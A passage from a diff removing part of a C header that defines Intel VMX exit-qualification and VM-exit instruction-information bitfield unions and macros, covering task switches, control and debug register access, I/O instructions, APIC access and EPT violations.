VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) - - /** - * @brief BS - * - * [Bit 14] When set, this bit indicates that the cause of the debug exception is either the execution of a single - * instruction (if RFLAGS.TF = 1 and IA32_DEBUGCTL.BTF = 0) or a taken branch (if RFLAGS.TF = DEBUGCTL.BTF = 1). - */ - uint64_t single_instruction : 1; -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_BIT 14 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_FLAG 0x4000 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) - uint64_t reserved2 : 49; - }; - - uint64_t flags; -} vmx_exit_qualification_debug_exception; - -/** - * @brief Exit Qualification for Task Switch - */ -typedef union -{ - struct - { - /** - * [Bits 15:0] Selector of task-state segment (TSS) to which the guest attempted to switch. - */ - uint64_t selector : 16; -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_BIT 0 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_FLAG 0xFFFF -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_MASK 0xFFFF -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR(_) (((_) >> 0) & 0xFFFF) - uint64_t reserved1 : 14; - - /** - * [Bits 31:30] Source of task switch initiation. - */ - uint64_t source : 2; -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_BIT 30 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_FLAG 0xC0000000 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_MASK 0x03 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE(_) (((_) >> 30) & 0x03) -#define VMX_EXIT_QUALIFICATION_TYPE_CALL_INSTRUCTION 0x00000000 -#define VMX_EXIT_QUALIFICATION_TYPE_IRET_INSTRUCTION 0x00000001 -#define VMX_EXIT_QUALIFICATION_TYPE_JMP_INSTRUCTION 0x00000002 -#define VMX_EXIT_QUALIFICATION_TYPE_TASK_GATE_IN_IDT 0x00000003 - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} vmx_exit_qualification_task_switch; - -/** - * @brief Exit Qualification for Control-Register Accesses - */ -typedef union -{ - struct - { - /** - * [Bits 3:0] Number of control register (0 for CLTS and LMSW). Bit 3 is always 0 on processors that do not support Intel - * 64 architecture as they do not support CR8. - */ - uint64_t control_register : 4; -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_BIT 0 -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_FLAG 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER(_) (((_) >> 0) & 0x0F) -#define VMX_EXIT_QUALIFICATION_REGISTER_CR0 0x00000000 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR2 0x00000002 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR3 0x00000003 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR4 0x00000004 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR8 0x00000008 - - /** - * [Bits 5:4] Access type. - */ - uint64_t access_type : 2; -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_BIT 4 -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_FLAG 0x30 -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_MASK 0x03 -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE(_) (((_) >> 4) & 0x03) -#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_TO_CR 0x00000000 -#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_FROM_CR 0x00000001 -#define VMX_EXIT_QUALIFICATION_ACCESS_CLTS 0x00000002 -#define VMX_EXIT_QUALIFICATION_ACCESS_LMSW 0x00000003 - - /** - * [Bit 6] LMSW operand type. For CLTS and MOV CR, cleared to 0. - */ - uint64_t lmsw_operand_type : 1; -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_BIT 6 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_FLAG 0x40 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE(_) (((_) >> 6) & 0x01) -#define VMX_EXIT_QUALIFICATION_LMSW_OP_REGISTER 0x00000000 -#define VMX_EXIT_QUALIFICATION_LMSW_OP_MEMORY 0x00000001 - uint64_t reserved1 : 1; - - /** - * [Bits 11:8] For MOV CR, the general-purpose register. - */ - uint64_t general_purpose_register : 4; -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_BIT 8 -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) -#define VMX_EXIT_QUALIFICATION_GENREG_RAX 0x00000000 -#define VMX_EXIT_QUALIFICATION_GENREG_RCX 0x00000001 -#define VMX_EXIT_QUALIFICATION_GENREG_RDX 0x00000002 -#define VMX_EXIT_QUALIFICATION_GENREG_RBX 0x00000003 -#define VMX_EXIT_QUALIFICATION_GENREG_RSP 0x00000004 -#define VMX_EXIT_QUALIFICATION_GENREG_RBP 0x00000005 -#define VMX_EXIT_QUALIFICATION_GENREG_RSI 0x00000006 -#define VMX_EXIT_QUALIFICATION_GENREG_RDI 0x00000007 -#define VMX_EXIT_QUALIFICATION_GENREG_R8 0x00000008 -#define VMX_EXIT_QUALIFICATION_GENREG_R9 0x00000009 -#define VMX_EXIT_QUALIFICATION_GENREG_R10 0x0000000A -#define VMX_EXIT_QUALIFICATION_GENREG_R11 0x0000000B -#define VMX_EXIT_QUALIFICATION_GENREG_R12 0x0000000C -#define VMX_EXIT_QUALIFICATION_GENREG_R13 0x0000000D -#define VMX_EXIT_QUALIFICATION_GENREG_R14 0x0000000E -#define VMX_EXIT_QUALIFICATION_GENREG_R15 0x0000000F - uint64_t reserved2 : 4; - - /** - * [Bits 31:16] For LMSW, the LMSW source data. For CLTS and MOV CR, cleared to 0. - */ - uint64_t lmsw_source_data : 16; -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_BIT 16 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_FLAG 0xFFFF0000 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_MASK 0xFFFF -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA(_) (((_) >> 16) & 0xFFFF) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} vmx_exit_qualification_mov_cr; - -/** - * @brief Exit Qualification for MOV DR - */ -typedef union -{ - struct - { - /** - * [Bits 2:0] Number of debug register. - */ - uint64_t debug_register : 3; -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_BIT 0 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_FLAG 0x07 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_MASK 0x07 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER(_) (((_) >> 0) & 0x07) -#define VMX_EXIT_QUALIFICATION_REGISTER_DR0 0x00000000 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR1 0x00000001 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR2 0x00000002 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR3 0x00000003 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR6 0x00000006 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR7 0x00000007 - uint64_t reserved1 : 1; - - /** - * [Bit 4] Direction of access (0 = MOV to DR; 1 = MOV from DR). - */ - uint64_t direction_of_access : 1; -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_BIT 4 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_FLAG 0x10 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS(_) (((_) >> 4) & 0x01) -#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_TO_DR 0x00000000 -#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_FROM_DR 0x00000001 - uint64_t reserved2 : 3; - - /** - * [Bits 11:8] General-purpose register. - */ - uint64_t general_purpose_register : 4; -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_BIT 8 -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) - uint64_t reserved3 : 52; - }; - - uint64_t flags; -} vmx_exit_qualification_mov_dr; - -/** - * @brief Exit Qualification for I/O Instructions - */ -typedef union -{ - struct - { - /** - * [Bits 2:0] Size of access. - */ - uint64_t size_of_access : 3; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_BIT 0 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_FLAG 0x07 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_MASK 0x07 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS(_) (((_) >> 0) & 0x07) -#define VMX_EXIT_QUALIFICATION_WIDTH_1_BYTE 0x00000000 -#define VMX_EXIT_QUALIFICATION_WIDTH_2_BYTE 0x00000001 -#define VMX_EXIT_QUALIFICATION_WIDTH_4_BYTE 0x00000003 - - /** - * [Bit 3] Direction of the attempted access (0 = OUT, 1 = IN). - */ - uint64_t direction_of_access : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_BIT 3 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_FLAG 0x08 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS(_) (((_) >> 3) & 0x01) -#define VMX_EXIT_QUALIFICATION_DIRECTION_OUT 0x00000000 -#define VMX_EXIT_QUALIFICATION_DIRECTION_IN 0x00000001 - - /** - * [Bit 4] String instruction (0 = not string; 1 = string). - */ - uint64_t string_instruction : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_BIT 4 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_FLAG 0x10 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION(_) (((_) >> 4) & 0x01) -#define VMX_EXIT_QUALIFICATION_IS_STRING_NOT_STRING 0x00000000 -#define VMX_EXIT_QUALIFICATION_IS_STRING_STRING 0x00000001 - - /** - * [Bit 5] REP prefixed (0 = not REP; 1 = REP). - */ - uint64_t rep_prefixed : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_BIT 5 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_FLAG 0x20 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED(_) (((_) >> 5) & 0x01) -#define VMX_EXIT_QUALIFICATION_IS_REP_NOT_REP 0x00000000 -#define VMX_EXIT_QUALIFICATION_IS_REP_REP 0x00000001 - - /** - * [Bit 6] Operand encoding (0 = DX, 1 = immediate). - */ - uint64_t operand_encoding : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_BIT 6 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_FLAG 0x40 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING(_) (((_) >> 6) & 0x01) -#define VMX_EXIT_QUALIFICATION_ENCODING_DX 0x00000000 -#define VMX_EXIT_QUALIFICATION_ENCODING_IMMEDIATE 0x00000001 - uint64_t reserved1 : 9; - - /** - * [Bits 31:16] Port number (as specified in DX or in an immediate operand). - */ - uint64_t port_number : 16; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_BIT 16 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_FLAG 0xFFFF0000 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_MASK 0xFFFF -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER(_) (((_) >> 16) & 0xFFFF) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} vmx_exit_qualification_io_instruction; - -/** - * @brief Exit Qualification for APIC-Access VM Exits from Linear Accesses and Guest-Physical Accesses - */ -typedef union -{ - struct - { - /** - * [Bits 11:0] - If the APIC-access VM exit is due to a linear access, the offset of access within the APIC page. - * - Undefined if the APIC-access VM exit is due a guest-physical access. - */ - uint64_t page_offset : 12; -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_BIT 0 -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_FLAG 0xFFF -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_MASK 0xFFF -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET(_) (((_) >> 0) & 0xFFF) - - /** - * [Bits 15:12] Access type. - */ - uint64_t access_type : 4; -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_BIT 12 -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_FLAG 0xF000 -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE(_) (((_) >> 12) & 0x0F) - /** - * Linear access for a data read during instruction execution. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_READ 0x00000000 - - /** - * Linear access for a data write during instruction execution. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_WRITE 0x00000001 - - /** - * Linear access for an instruction fetch. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_INSTRUCTION_FETCH 0x00000002 - - /** - * Linear access (read or write) during event delivery. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_EVENT_DELIVERY 0x00000003 - - /** - * Guest-physical access during event delivery. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_EVENT_DELIVERY 0x0000000A - - /** - * Guest-physical access for an instruction fetch or during instruction execution. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_INSTRUCTION_FETCH 0x0000000F - uint64_t reserved1 : 48; - }; - - uint64_t flags; -} vmx_exit_qualification_apic_access; - -/** - * @brief Exit Qualification for EPT Violations - */ -typedef union -{ - struct - { - /** - * [Bit 0] Set if the access causing the EPT violation was a data read. - */ - uint64_t read_access : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_BIT 0 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_FLAG 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Set if the access causing the EPT violation was a data write. - */ - uint64_t write_access : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_BIT 1 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_FLAG 0x02 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Set if the access causing the EPT violation was an instruction fetch. - */ - uint64_t execute_access : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_BIT 2 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_FLAG 0x04 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] The logical-AND of bit 0 in the EPT paging-structure entries used to translate the guest-physical address of the - * access causing the EPT violation (indicates whether the guest-physical address was readable). - */ - uint64_t ept_readable : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_BIT 3 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_FLAG 0x08 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] The logical-AND of bit 1 in the EPT paging-structure entries used to translate the guest-physical address of the - * access causing the EPT violation (indicates whether the guest-physical address was writeable). - */ - uint64_t ept_writeable : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_BIT 4 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_FLAG 0x10 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] The logical-AND of bit 2 in the EPT paging-structure entries used to translate the guest-physical address of the - * access causing the EPT violation. - * If the "mode-based execute control for EPT" VM-execution control is 0, this indicates whether the guest-physical address - * was executable. If that control is 1, this indicates whether the guest-physical address was executable for - * supervisor-mode linear addresses. - */ - uint64_t ept_executable : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_BIT 5 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FLAG 0x20 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] If the "mode-based execute control" VM-execution control is 0, the value of this bit is undefined. If that - * control is 1, this bit is the logical-AND of bit 10 in the EPT paging-structures entries used to translate the - * guest-physical address of the access causing the EPT violation. In this case, it indicates whether the guest-physical - * address was executable for user-mode linear addresses. - */ - uint64_t ept_executable_for_user_mode : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_BIT 6 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_FLAG 0x40 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Set if the guest linear-address field is valid. The guest linear-address field is valid for all EPT violations - * except those resulting from an attempt to load the guest PDPTEs as part of the execution of the MOV CR instruction. - */ - uint64_t valid_guest_linear_address : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_BIT 7 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_FLAG 0x80 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] If bit 7 is 1: - * - Set if the access causing the EPT violation is to a guest-physical address that is the translation of a linear - * address. - * - Clear if the access causing the EPT violation is to a paging-structure entry as part of a page walk or the update of - * an accessed or dirty bit. - * Reserved if bit 7 is 0 (cleared to 0). - */ - uint64_t caused_by_translation : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_BIT 8 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_FLAG 0x100 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] This bit is 0 if the linear address is a supervisor-mode linear address and 1 if it is a user-mode linear - * address. Otherwise, this bit is undefined. - * - * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If - * CR0.PG = 0, the translation of every linear address is a user-mode linear address and thus this bit will be 1.) - */ - uint64_t user_mode_linear_address : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_BIT 9 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_FLAG 0x200 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] This bit is 0 if paging translates the linear address to a read-only page and 1 if it translates to a - * read/write page. Otherwise, this bit is undefined - * - * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If - * CR0.PG = 0, every linear address is read/write and thus this bit will be 1.) - */ - uint64_t readable_writable_page : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_BIT 10 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_FLAG 0x400 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] This bit is 0 if paging translates the linear address to an executable page and 1 if it translates to an - * execute-disable page. Otherwise, this bit is undefined. - * - * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If - * CR0.PG = 0, CR4.PAE = 0, or IA32_EFER.NXE = 0, every linear address is executable and thus this bit will be 0.) - */ - uint64_t execute_disable_page : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_BIT 11 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_FLAG 0x800 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] NMI unblocking due to IRET. - */ - uint64_t nmi_unblocking : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_BIT 12 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_FLAG 0x1000 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) - uint64_t reserved1 : 51; - }; - - uint64_t flags; -} vmx_exit_qualification_ept_violation; - -/** - * @} - */ - - /** - * @defgroup vmx_vmexit_instruction_information \ - * Information for VM Exits Due to Instruction Execution - * - * Information for VM Exits Due to Instruction Execution. - * - * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] (reference) - * @{ - */ - /** - * @brief VM-Exit Instruction-Information Field as Used for INS and OUTS - */ -typedef union -{ - struct - { - uint64_t reserved1 : 7; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 5; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for VM exits due to execution of INS. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - uint64_t reserved3 : 46; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_ins_outs; - -/** - * @brief VM-Exit Instruction-Information Field as Used for INVEPT, INVPCID, and INVVPID - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 5; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 5; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for VM exits due to execution of INS. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for instructions with no index register 